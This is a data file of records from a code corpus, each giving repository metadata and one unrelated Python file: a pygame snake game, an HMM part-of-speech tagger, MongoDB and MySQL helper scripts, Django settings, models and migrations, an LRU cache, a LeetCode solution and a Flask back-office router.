bb9a9c638397f5fc46dcdc0a0d247ff692061ef8 | 7ee2992aceeebc532fc817e40e02ac17ff41aaf3 | /graphics.py | 28ae92d197f458318dc21215549a014db4c28988 | [] | no_license | jensenak/examples | be8d8cae719998077ad429640fb74bb3862d0a2b | 63156a5beb933a3afb1ebf3e5177b3fd7670ca40 | refs/heads/master | 2021-01-10T09:03:53.805569 | 2016-11-18T01:23:22 | 2016-11-18T01:23:22 | 49,591,278 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,219 | py | import pygame
import time
import random
class Player():
def __init__(self, name, color, vectors):
self.name = name
self.color = color
self.score = 0
self.reset(False)
self.vectors = vectors
def reset(self, win):
if win:
self.score += 1
self.x = random.randint(25, width - 25)
self.y = random.randint(25, height - 25)
self.tail = [(self.x, self.y)]
self.length = 16
self.dx = 0
self.dy = -1
def trim(self):
if len(self.tail) <= self.length:
return
cut = len(self.tail) - self.length
for px, py in self.tail[:cut]:
point(px, py, bg)
self.tail = self.tail[cut:]
def turn(self, key):
self.dx, self.dy = self.vectors[key]
def grow(self, n):
self.length += n
def update(self):
self.x += self.dx
self.y += self.dy
if collision(self, self.x, self.y):
return False
self.tail.append((self.x, self.y))
point(self.x, self.y, self.color)
self.trim()
return True
def point(x, y, c):
#win.set_at((x, y), c)
r = pygame.draw.line(win, c, (x, y), (x, y))
pygame.display.update(r)
return
def coin():
cx = random.randint(10, width - 10)
cy = random.randint(10, height - 10)
point(cx, cy, cg)
width = int(input("Enter width "))
height = int(input("Enter height "))
vectors = [{
pygame.K_w: (0, -1),
pygame.K_s: (0, 1),
pygame.K_d: (1, 0),
pygame.K_a: (-1, 0)
}, {
pygame.K_UP: (0, -1),
pygame.K_DOWN: (0, 1),
pygame.K_RIGHT: (1, 0),
pygame.K_LEFT: (-1, 0)
}]
players = []
for i in range(2):
n = input("Enter player {} name ".format(i))
cr = int(input("Enter player {} red ".format(i)))
cg = int(input("Enter player {} green ".format(i)))
cb = int(input("Enter player {} blue ".format(i)))
players.append(Player(n, pygame.color.Color(cr, cg, cb), vectors[i]))
win = pygame.display.set_mode((width, height), pygame.DOUBLEBUF)
win.set_alpha(None)
pygame.event.set_allowed([pygame.QUIT, pygame.KEYUP])
bg = pygame.color.Color(0,0,0,255)
cg = pygame.color.Color(255,255,255,255)
def init():
win.fill(pygame.color.Color(255,255,0,255))
win.fill(bg, rect=pygame.Rect((2, 2, width-4, height-4)))
pygame.display.flip()
def collision(p, x, y):
c = win.get_at((x, y))
if c == cg:
p.grow(4)
return False
if c != bg:
return True
def run():
init()
running = True
while running:
event = pygame.event.poll()
if event.type == pygame.QUIT:
running = False
elif event.type == pygame.KEYUP:
if event.key in vectors[0].keys():
players[0].turn(event.key)
elif event.key in vectors[1].keys():
players[1].turn(event.key)
if random.randint(1, 20) == 1:
coin()
if not players[0].update():
players[0].reset(False)
players[1].reset(True)
init()
if not players[1].update():
players[1].reset(False)
players[0].reset(True)
init()
run()
| [
"[email protected]"
] | |
4fa55b1c133d7ad30eeb6c021414c1dd88d71b94 | 359e768df0aa85a7fc8a119d1a304d93f2e04452 | /mana/tutorial04/tutorial04.py | d27784c66e0dae14436f7184f299299185c76a6e | [] | no_license | tmu-nlp/NLPtutorial2020 | 5694650d365b836ceefc822a4ee33fae8ec7d72b | 51c84c7a7280b62fa11c5893987eeba7d7fad3d6 | refs/heads/master | 2021-05-19T11:40:05.325180 | 2020-08-12T04:55:41 | 2020-08-12T04:55:41 | 251,679,127 | 0 | 1 | null | 2020-08-12T04:55:00 | 2020-03-31T17:26:14 | Python | UTF-8 | Python | false | false | 5,699 | py | from collections import defaultdict
from math import log2
def load_model(model_file):
with open(model_file, "r") as model_file:
model_file = model_file.readlines()
transition = defaultdict(bool)
emission = defaultdict(bool)
possible_tags = {}
for line in model_file:
line = line.strip().split(" ")
type = line[0]
context = line[1]
word = line[2]
prob = float(line[3])
possible_tags[context] = 1 # 可能なタグとして保存
if type == "T":
transition[(context, word)] = prob
else:
emission[(context, word)] = prob
return [transition, emission, possible_tags]
class hmm:
def test_hmm(self, model_file, test_file):
model = load_model(model_file)
transition = model[0]
emission = model[1]
possible_tags = model[2]
with open(test_file, "r") as f:
test_file = f.readlines()
ans = open("my_answer.txt", "w")
for line in test_file:
words = line.strip().split()
words.append("</s>") # 重要
I = len(words)
best_score = {}
best_edge = {}
best_score[(0, "<s>")] = 0 # <s> から始まる
best_edge[(0, "<s>")] = None
for i in range(I):
for prev in possible_tags:
# print(prev)
for next in possible_tags:
# print(next)
# print(best_score[(i, prev)], transition[(prev,next)])
if (i, prev) in best_score and transition[
(prev, next)
] != False:
# print("Yes")
# print(transition[(prev, next)])
# print(words[i], next)
# print(emission[(next, words[i])])
score = (
best_score[(i, prev)]
- log2(transition[(prev, next)])
- log2(
(0.95 * emission[(next, words[i])] + 0.05 / 1000000)
)
)
# print(score)
if (i + 1, next) not in best_score or best_score[
(i + 1, next)
] > score:
best_score[(i + 1, next)] = score
best_edge[(i + 1, next)] = (i, prev)
if (i, prev) in best_score and transition[(prev, "</s>")] != False:
score = (
best_score[(i, prev)]
+ log2(transition[(prev, "</s>")])
+ log2(
(0.95 * emission[("</s>", words[i])] + 0.05 / 1000000)
)
)
if (i + 1, "</s>") not in best_score or best_score[
i + 1, "</s>"
] > score:
best_score[(i + 1, "</s>")] = score
best_edge[(i + 1, "</s>")] = (i, prev)
# print(best_score)
# print(best_edge)
tags = []
next_edge = best_edge[(I, "</s>")]
# print(best_edge[(I, "</s>")])
while next_edge not in {(0, "<s>"), False}: # このエッジの品詞を出力に追加
# position = next_edge[0]
tag = next_edge[1]
tags.append(tag)
next_edge = best_edge[next_edge]
# print(next_edge)
tags.reverse()
ans.write(" ".join(tags) + "\n")
ans.close()
def train_hmm(self, train_file, output):
emit = defaultdict(int)
transition = defaultdict(int)
context = defaultdict(int)
with open(train_file, "r") as f:
train_file = f.readlines()
for line in train_file:
previous = "<s>" # 文頭記号
context[previous] += 1
wordtags = line.strip().split()
# print(wordtags)
for wordtag in wordtags:
word, tag = wordtag.split("_")
transition[previous + " " + tag] += 1 # 遷移を数え上げる
context[tag] += 1 # 文脈を数え上げる
emit[tag + " " + word] += 1 # 生成を数え上げる
previous = tag
transition[previous + " </s>"] += 1
# 遷移確率を出力
output_file = open(output, "w")
for key in transition:
previous, word = key.split()
output_file.write(
"T " + key + " " + str(transition[key] / context[previous]) + "\n"
)
# 生成確率を出力
for key in emit:
previous, word = key.split()
output_file.write(
"E " + key + " " + str(emit[key] / context[previous]) + "\n"
)
output_file.close()
HmmML = hmm()
# HmmML.train_hmm("wiki-en-train.norm_pos", "HmmModel.txt")
# HmmML.test_hmm("05-train-answer.txt", "05-test-input.txt")
HmmML.test_hmm("HmmModel.txt", "wiki-en-test.norm")
"""
perl gradepos.pl wiki-en-test.pos my_answer.txt
Accuracy: 90.82% (4144/4563)
Most common mistakes:
NNS --> NN 45
NN --> JJ 27
NNP --> NN 22
JJ --> DT 22
VBN --> NN 12
JJ --> NN 12
NN --> IN 11
NN --> DT 10
NNP --> JJ 8
JJ --> VBN 7
"""
| [
"[email protected]"
] | |
d69e4cc66c274e8bdde993378ca52369550af2e3 | a1fb05afb1cda8ca4bafab110e595f823e63f9a6 | /Database.py | 6e99a6b1ecf56f8bc85e393b5dde1666649fd04e | [] | no_license | tareksat/sever | 4ac189d11899591e3740056dda974a3228fada13 | 6e1bc77cb7b6ca93ff607cad8c53ad41f975e155 | refs/heads/master | 2020-04-24T02:33:25.458570 | 2019-02-20T12:31:38 | 2019-02-20T12:31:38 | 171,641,160 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 881 | py | import pymongo
class Database(object):
URL = "mongodb://127.0.0.1:27017"
DATABASE = None
@staticmethod
def initialize():
client = pymongo.MongoClient(Database.URL)
Database.DATABASE = client['controller']
@staticmethod
def load(collection):
return [x for x in Database.DATABASE[collection].find({})]
@staticmethod
def find_by_id(collection, query):
try:
x = Database.DATABASE[collection].find(query)
return x[0]
except:
pass
@staticmethod
def update(collection, query, data):
Database.DATABASE[collection].update(query, data, upsert=False)
@staticmethod
def insert(collection, data):
Database.DATABASE[collection].insert(data)
@staticmethod
def delete(collection, query):
Database.DATABASE[collection].remove(query)
| [
"[email protected]"
] | |
21aaa76a48168896b5d85b89b8736f28c7c12434 | 6189e28aaa6b7e98f48499370bd724ecc46f8894 | /0x0F-python-object_relational_mapping/1-filter_states.py | f3280d04efa54ca042161afcc72a8a6f949e16be | [] | no_license | AntonioEstela/holbertonschool-higher_level_programming | 8bb8df61cbd4aa2eafb2ccbde16b7ac30e409831 | 020a5a7c3fb9b817b3d399f5c2a15b1498827df0 | refs/heads/master | 2022-12-17T19:30:26.051914 | 2020-09-24T22:56:45 | 2020-09-24T22:56:45 | 259,216,485 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 584 | py | #!/usr/bin/python3
""" script that lists all states from the database hbtn_0e_0_usa: """
import MySQLdb
import sys
if __name__ == '__main__':
username = sys.argv[1]
password = sys.argv[2]
database_name = sys.argv[3]
database = MySQLdb.connect('localhost', username, password, database_name)
cursor = database.cursor()
cursor.execute("""SELECT id, name FROM states WHERE name LIKE BINARY 'N%'
ORDER BY states.id;""")
states = cursor.fetchall()
for row in states:
print(row)
cursor.close()
database.close()
| [
"[email protected]"
] | |
352ffb992b2119725d0a44f5d79d02d503938cf1 | 9441b5339471c3ae8a31ac3e8733c03cd294f14f | /superlists/superlists/settings.py | 09246fb222e0476d1e12d4736f78c42185a141dc | [] | no_license | evansjr2000/mytdd | 2a72a47b623845c50d8d63afa845969d132f6976 | 29577dcbd708ba68ca50bf31f904477187eb504d | refs/heads/main | 2023-04-04T11:06:26.112380 | 2021-04-15T14:37:40 | 2021-04-15T14:37:40 | 357,670,016 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,249 | py | """
Django settings for superlists project.
Generated by 'django-admin startproject' using Django 3.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure--k+o369pknktnow)@e$^!y)#hiqw!d#=$m5rzg4(hz@bv6!#l_'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'superlists.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'superlists.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.2/howto/static-files/
STATIC_URL = '/static/'
# Default primary key field type
# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
| [
"[email protected]"
] | |
876d6254bd313782532fc4c19b8b8d969ee2f749 | ae42f6eb5f45a86c23cfb4fd5cd771003569dea5 | /profiles_api/migrations/0001_initial.py | 222d7156b13c3378fe89ab9f1323d95ace9d7907 | [
"MIT"
] | permissive | ljsharp/profiles_rest_api | f4c574f7a8119127e51de9ea041bfa81feeac244 | b840409a3a88c737c76b47831291f90770f2e66e | refs/heads/master | 2022-12-21T22:22:56.192237 | 2020-09-27T10:33:07 | 2020-09-27T10:33:07 | 298,745,977 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,719 | py | # Generated by Django 3.1.1 on 2020-09-26 08:12
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0012_alter_user_first_name_max_length'),
]
operations = [
migrations.CreateModel(
name='UserProfile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('password', models.CharField(max_length=128, verbose_name='password')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),
('email', models.EmailField(max_length=255, unique=True)),
('name', models.CharField(max_length=255)),
('is_activated', models.BooleanField(default=True)),
('is_staff', models.BooleanField(default=False)),
('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')),
('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')),
],
options={
'abstract': False,
},
),
]
| [
"[email protected]"
] | |
95785b069ffa9ace6e9f2e383c63f4641aa068f1 | 1ca8bf6cc0219e4e8fc30240c46b41452fcb92b7 | /findash/polls/models.py | efec47206cb0b6c9300d57e8c18fec9f0ef75d5e | [
"MIT"
] | permissive | ohduran-attempts/poll-app | 18aab5fe4aaf807b66c01e173de592dd2204d4fb | 524ae10baf2cc8437694d1dcd7173df87f32474b | refs/heads/master | 2021-04-12T03:59:59.578556 | 2018-03-18T19:44:42 | 2018-03-18T19:44:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,022 | py | """Model suite."""
from django.db import models
from django.utils import timezone
import datetime
class Question(models.Model):
"""Question Model"""
question_text = models.CharField(max_length=200)
pub_date = models.DateTimeField('date published')
def __str__(self):
"""print Question."""
return self.question_text
def was_published_recently(self):
"""Boolean for the question to appear in Index."""
now = timezone.now()
return now - datetime.timedelta(days=1) <= self.pub_date <= now
was_published_recently.admin_order_field = 'pub_date'
was_published_recently.boolean = True
was_published_recently.short_description = 'Published recently?'
class Choice(models.Model):
"""Choice Model."""
question = models.ForeignKey(Question, on_delete=models.CASCADE)
choice_text = models.CharField(max_length=200)
votes = models.IntegerField(default=0)
def __str__(self):
"""print Choice."""
return self.choice_text
| [
"[email protected]"
] | |
03377ac2f053d55df49a43deba4423ce04d8ccdd | 484a348682d9fa515666b94a5cd3a13b1b725a9e | /Leetcode/[146]LRU.py | 34890a397f70e7dc7bccf0122d44cb5d6c5af989 | [] | no_license | joseph-mutu/Codes-of-Algorithms-and-Data-Structure | 1a73772825c3895419d86d6f1f506d58617f3ff0 | d62591683d0e2a14c72cdc64ae1a36532c3b33db | refs/heads/master | 2020-12-29T17:01:55.097518 | 2020-04-15T19:25:43 | 2020-04-15T19:25:43 | 238,677,443 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,925 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-26 08:36:33
# @Author : mutudeh ([email protected])
# @Link : ${link}
# @Version : $Id$
import os
class ListNode(object):
def __init__(self,key,val):
self.val = val
self.key = key
self.left = None
self.right = None
class LRUCache(object):
def __init__(self, capacity):
"""
:type capacity: int
"""
self.capacity = capacity
# 存储双向链表中的节点
self.key_dic = {}
self.head = ListNode(None,float('inf'))
self.end = ListNode(None,float('inf'))
self.head.right = self.end
self.end.left = self.head
def get(self, key):
"""
:type key: int
:rtype: int
"""
if key not in self.key_dic:
return -1
# 将该节点提到 head 之后,也就是最前面
#首先断开该节点
node = self.key_dic[key]
pre_node = node.left
next_node = node.right
pre_node.right = next_node
next_node.left = pre_node
# 将该节点插入头结点之后
head_next_node = self.head.right
self.head.right = node
node.left = self.head
node.right = head_next_node
head_next_node.left = node
return node.val
def put(self, key, value):
"""
:type key: int
:type value: int
:rtype: None
"""
#当前节点需要插入
if key not in self.key_dic:
#首先检查当前节点是否超出了 capacity
if len(self.key_dic) == self.capacity:
# 删除最后一个节点
node = self.end.left
pre_node = node.left
pre_node.right = node.right
self.end.left = pre_node
del self.key_dic[node.key]
del node
# 删除之后,将节点插入头结点
node = ListNode(key,value)
head_next_node = self.head.right
self.head.right = node
node.left = self.head
head_next_node.left = node
node.right = head_next_node
#在字典中记录
self.key_dic[node.key] = node
# 当前节点不需要插入,只需要更新
else:
# 如果已经存在则直接更新
self.key_dic[key].key = key
self.key_dic[key].val = value
self.get(key)
cache = LRUCache(2);
cache.put(1, 1)
cache.put(2, 2)
print(cache.get(1))
# # returns 1
print(cache.put(3, 3))
# # evicts key 2
print(cache.get(2))
# # returns -1 (not found)
cache.put(4, 4)
# # evicts key 1
print(cache.get(1))
# # returns -1 (not found)
print(cache.get(3))
# # returns 3
print(cache.get(4))
# # returns 4
| [
"[email protected]"
] | |
c20f9164e48b6f2fd334f4feca455aae798e98a4 | 65f3ada144f45bd5dbaf3d37ca9366ff54796f0c | /month12-21/colorBorder.py | 1b7cd2db2921fb446d3b00f5512f997d989c8051 | [] | no_license | BruceHi/leetcode | 43977db045d9b78bef3062b16d04ae3999fe9ba7 | 0324d247a5567745cc1a48b215066d4aa796abd8 | refs/heads/master | 2022-09-22T14:18:41.022161 | 2022-09-11T23:45:21 | 2022-09-11T23:45:21 | 248,240,171 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,964 | py | # 1034. 边界着色
from typing import List
class Solution:
# 没理解题意
# def colorBorder(self, grid: List[List[int]], row: int, col: int, color: int) -> List[List[int]]:
# m, n = len(grid), len(grid[0])
# record = grid[row][col]
# if record == color:
# return grid
#
# def dfs(i, j):
# grid[i][j] = color
#
# for dx, dy in zip([0, 0, 1, -1], [1, -1, 0, 0]):
# x, y = i + dx, j + dy
# if 0 <= x < m and 0 <= y < n and grid[x][y] == record:
# dfs(x, y)
#
# dfs(row, col)
# if 0 < row < m-1 and 0 < col < n-1:
# grid[row][col] = record
# return grid
# 失败
# def colorBorder(self, grid: List[List[int]], row: int, col: int, color: int) -> List[List[int]]:
# m, n = len(grid), len(grid[0])
# record = grid[row][col]
# if record == color:
# return grid
#
# not_border = []
# def dfs(i, j):
# grid[i][j] = color
#
# count = 0
# for dx, dy in zip([0, 0, 1, -1], [1, -1, 0, 0]):
# x, y = i + dx, j + dy
# if 0 <= x < m and 0 <= y < n:
# if grid[x][y] == record:
# dfs(x, y)
# if grid[x][y] == color:
# count += 1
# if count == 4:
# not_border.append((i, j))
#
# dfs(row, col)
# for i, j in not_border:
# grid[i][j] = record
# return grid
def colorBorder(self, grid: List[List[int]], row: int, col: int, color: int) -> List[List[int]]:
m, n = len(grid), len(grid[0])
raw = grid[row][col]
if raw == color:
return grid
visited = [[False] * n for _ in range(m)]
borders = []
def dfs(i, j):
visited[i][j] = True
border = False
for dx, dy in zip([0, 0, 1, -1], [1, -1, 0, 0]):
x, y = i + dx, j + dy
if not (0 <= x < m and 0 <= y < n and grid[x][y] == raw):
border = True
elif not visited[x][y]:
dfs(x, y)
if border:
borders.append((i, j))
dfs(row, col)
for i, j in borders:
grid[i][j] = color
return grid
s = Solution()
grid = [[1,1],[1,2]]
row = 0
col = 0
color = 3
print(s.colorBorder(grid, row, col, color))
grid = [[1,2,2],[2,3,2]]
row = 0
col = 1
color = 3
print(s.colorBorder(grid, row, col, color))
grid = [[1,1,1],[1,1,1],[1,1,1]]
row = 1
col = 1
color = 2
print(s.colorBorder(grid, row, col, color))
grid = [[1,2,1],[1,2,2],[2,2,1]]
row = 1
col = 1
color = 2
print(s.colorBorder(grid, row, col, color))
grid = [[1,2,1,2,1,2],[2,2,2,2,1,2],[1,2,2,2,1,2]]
row = 1
col = 3
color = 1
print(s.colorBorder(grid, row, col, color))
| [
"[email protected]"
] | |
62cfac80ffb4fbbbf9b09a2738f91eb2c3d5a8aa | 36f6269a3db86171766ff8883e3593a08aaeb081 | /Backoffice/Router.py | 05350face38c0a455c5f36703f9218dd6315b86b | [] | no_license | yashhotline/HermEsb | c753a9c902c6cc30ce9d0d68790dcffecff3487f | 8c85e1a517dcf97a2745ef530546cb235e860def | refs/heads/master | 2021-05-30T14:10:57.989691 | 2014-10-30T11:11:02 | 2014-10-30T11:11:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,020 | py | from flask import Flask, render_template, jsonify, request
from ServiceStatistics import StatisticsView
from Environments import Environments
from Errores import ErroresRepository, ErroresView
from ServiceInfo import ServiceInfoView
app = Flask(__name__)
@app.route('/')
def Index():
currentEnvironment = request.cookies.get('environment')
if currentEnvironment is None:
currentEnvironment = "DEV"
envs = list()
for e in Environments.GetEnvironments():
envs.append(e.Name)
return render_template("index.html", envs=envs, environment=currentEnvironment)
@app.route('/bus')
def BusInfo():
currentEnvironment = request.cookies.get('environment')
if currentEnvironment is None:
currentEnvironment = "DEV"
envs = list()
for e in Environments.GetEnvironments():
envs.append(e.Name)
return render_template("bus.html", envs=envs, environment=currentEnvironment,
service=Environments.GetEnvironment(currentEnvironment).GetBusName())
@app.route('/errores/', methods=['GET', 'POST'])
def Errores():
envs = list()
for e in Environments.GetEnvironments():
envs.append(e.Name)
currentEnvironment = request.cookies.get('environment')
if currentEnvironment is None:
currentEnvironment = "DEV"
return render_template("errores.html", envs=envs, environment=currentEnvironment)
@app.route('/geterrores/', methods=['GET', 'POST'])
@app.route('/geterrores/<entorno>/', methods=['GET', 'POST'])
def GetErrores(entorno="DEV"):
page = 1
rows = 20
if not request.form.get('page') is None:
page = int(request.form['page'])
if not request.form.get('rows') is None:
rows = int(request.form['rows'])
view = ErroresView(Environments.GetEnvironment(entorno).MongoServer)
filter = dict()
if not request.form.get('Service') is None:
filter['Service'] = request.form['Service']
if not request.form.get('HandlerType') is None:
filter['HandlerType'] = request.form['HandlerType']
return jsonify(view.GetErrors(page, rows, filter))
@app.route('/geterror/', methods=['GET', 'POST'])
@app.route('/geterror/<entorno>/', methods=['GET', 'POST'])
def GetError(entorno="DEV"):
view = ErroresView(Environments.GetEnvironment(entorno).MongoServer)
id = 0
if not request.form.get('id') is None:
id = str(request.form['id'])
return jsonify(view.GetError(id))
@app.route('/publish/<entorno>/', methods=['GET', 'POST'])
def Publish(entorno="DEV"):
id = 0
if not request.form.get('id') is None:
id = str(request.form['id'])
view = ErroresView(Environments.GetEnvironment(entorno).MongoServer)
message = view.GetMessage(id)
Environments.GetEnvironment(entorno).Publish(message)
return jsonify({"Id": id})
@app.route('/publishto/<fromentorno>/<toentorno>/', methods=['GET', 'POST'])
def PublishTo(fromentorno="DEV", toentorno="DEV"):
id = 0
if not request.form.get('id') is None:
id = str(request.form['id'])
view = ErroresView(Environments.GetEnvironment(fromentorno).MongoServer)
message = view.GetMessage(id)
Environments.GetEnvironment(toentorno).Publish(message)
return jsonify({"Id": id})
@app.route('/hangoutservices/<entorno>/', methods=['GET', 'POST'])
def HangoutServices(entorno="DEV"):
view = ServiceInfoView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetServicesNotResponding(90, 10)
return jsonify({"Services": services})
@app.route('/memorytop/<entorno>/', methods=['GET', 'POST'])
def MemoryTop(entorno="DEV"):
view = ServiceInfoView(Environments.GetEnvironment(entorno).MongoServer)
services = view.MemoryTop(5)
return jsonify({"Services": services})
@app.route('/latencytop/<entorno>/', methods=['GET', 'POST'])
def LatencyTop(entorno="DEV"):
view = ServiceInfoView(Environments.GetEnvironment(entorno).MongoServer)
services = view.LantecyTop(10)
return jsonify({"Services": services})
@app.route('/latencypeaktop/<entorno>/', methods=['GET', 'POST'])
def LatencyPeakTop(entorno="DEV"):
view = ServiceInfoView(Environments.GetEnvironment(entorno).MongoServer)
services = view.LantecyPeakTop(10)
return jsonify({"Services": services})
@app.route('/memoryservice/<entorno>/<id>', methods=['GET', 'POST'])
def MemoryServiceTop(entorno="DEV", id="Bus"):
view = StatisticsView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetMemory(id, 7200)
return jsonify({"Data": services})
@app.route('/speedservice/<entorno>/<id>', methods=['GET', 'POST'])
def SpeedServiceData(entorno="DEV", id="Bus"):
view = StatisticsView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetSpeed(id, 7200)
return jsonify({"Data": services})
@app.route('/latencyservice/<entorno>/<id>', methods=['GET', 'POST'])
def LatencyServiceData(entorno="DEV", id="Bus"):
view = StatisticsView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetLatency(id, 7200)
return jsonify({"Data": services})
@app.route('/bandwidthservice/<entorno>/<id>', methods=['GET', 'POST'])
def BandWidthServiceData(entorno="DEV", id="Bus"):
view = StatisticsView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetBandWidth(id, 7200)
return jsonify({"Data": services})
@app.route('/totalbandwidthservice/<entorno>/<id>', methods=['GET', 'POST'])
def TotalBandWidthServiceData(entorno="DEV", id="Bus"):
view = StatisticsView(Environments.GetEnvironment(entorno).MongoServer)
services = view.GetTotalBandWidth(id, 7200)
return jsonify({services})
@app.route('/loadqueuetop/<entorno>/', methods=['GET', 'POST'])
def LoadQueueTop(entorno="DEV"):
view = ServiceInfoView(Environments.GetEnvironment(entorno).MongoServer)
services = view.LoadQueueTop(10)
return jsonify({"Services": services})
if __name__ == '__main__':
Environments.Create("environments.cfg")
app.run(port=18045)
| [
"[email protected]"
] | |
08aa522f036c0453f4f5e12f220ecd134150d7e1 | f93fd3696e759f24363399976e3025b815b24d06 | /saraswati/mooncal/migrations/0004_event.py | 1c1a9ea566ed151f994039774704a9f502d6d038 | [
"MIT"
] | permissive | tony-mikhailov/mooncal | 389ac4f5d733ffa27ec6d65469254846dff949a9 | 9f0a1a215a2d5fd2ec1f98803f666ea10106f25e | refs/heads/master | 2021-08-07T12:21:43.088530 | 2020-03-29T14:03:53 | 2020-03-29T14:03:58 | 240,694,873 | 0 | 0 | MIT | 2021-07-13T07:18:56 | 2020-02-15T11:18:17 | CSS | UTF-8 | Python | false | false | 917 | py | # Generated by Django 3.0 on 2020-02-24 12:28
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('mooncal', '0003_auto_20200223_1627'),
]
operations = [
migrations.CreateModel(
name='Event',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('begin_time', models.TimeField(null=True)),
('end_time', models.TimeField(null=True)),
('description', models.TextField(blank=True, null=True)),
('article_link', models.URLField(blank=True, null=True)),
('ritual', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='event2ritual', to='mooncal.Ritual')),
],
),
]
| [
"[email protected]"
] | |
de5ee39a0ccec24ef8a1aaf8515f32228d28b47d | 25e481ef7fba79285f4c8a7fa2e81c8b2b7f9cce | /saleor/order/__init__.py | a6ccde9d5752e9a9a58c3c2c655b7a1addcd816f | [
"BSD-2-Clause"
] | permissive | arslanahmd/Ghar-Tameer | 59e60def48a14f9452dfefe2edf30e362878191d | 72401b2fc0079e6d52e844afd8fcf57122ad319f | refs/heads/master | 2023-01-31T04:08:26.288332 | 2018-06-07T18:02:01 | 2018-06-07T18:02:01 | 136,231,127 | 0 | 0 | NOASSERTION | 2023-01-11T22:21:42 | 2018-06-05T20:28:11 | Python | UTF-8 | Python | false | false | 535 | py | from django.utils.translation import pgettext_lazy
class OrderStatus:
OPEN = 'open'
CLOSED = 'closed'
CHOICES = [
(OPEN, pgettext_lazy('order status', 'Open')),
(CLOSED, pgettext_lazy('order status', 'Closed'))]
class GroupStatus:
NEW = 'new'
CANCELLED = 'cancelled'
SHIPPED = 'shipped'
CHOICES = [
(NEW, pgettext_lazy('group status', 'Processing')),
(CANCELLED, pgettext_lazy('group status', 'Cancelled')),
(SHIPPED, pgettext_lazy('group status', 'Shipped'))]
| [
"[email protected]"
] | |
5ca7eef1dbf52983187494de72bad81fae5b016d | 5f4f7e0070eeb028dabb1b3983558fb08a165234 | /formacion/migrations/0037_revisioninterventoriadocentesoporte_revisioninterventoriaescuelaticsoporte.py | 7f446235f691f90bbd5b077d63f0900e8067d59e | [] | no_license | Dandresfsoto/Andes | cc0e2dbfce9c5ab3f84af5fb769c0be3ebec1205 | 03f8764d531e269fcb3ed41fec4fa2e191852386 | refs/heads/master | 2021-06-01T07:00:10.104609 | 2016-05-23T14:31:45 | 2016-05-23T14:31:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,659 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
from django.conf import settings
class Migration(migrations.Migration):
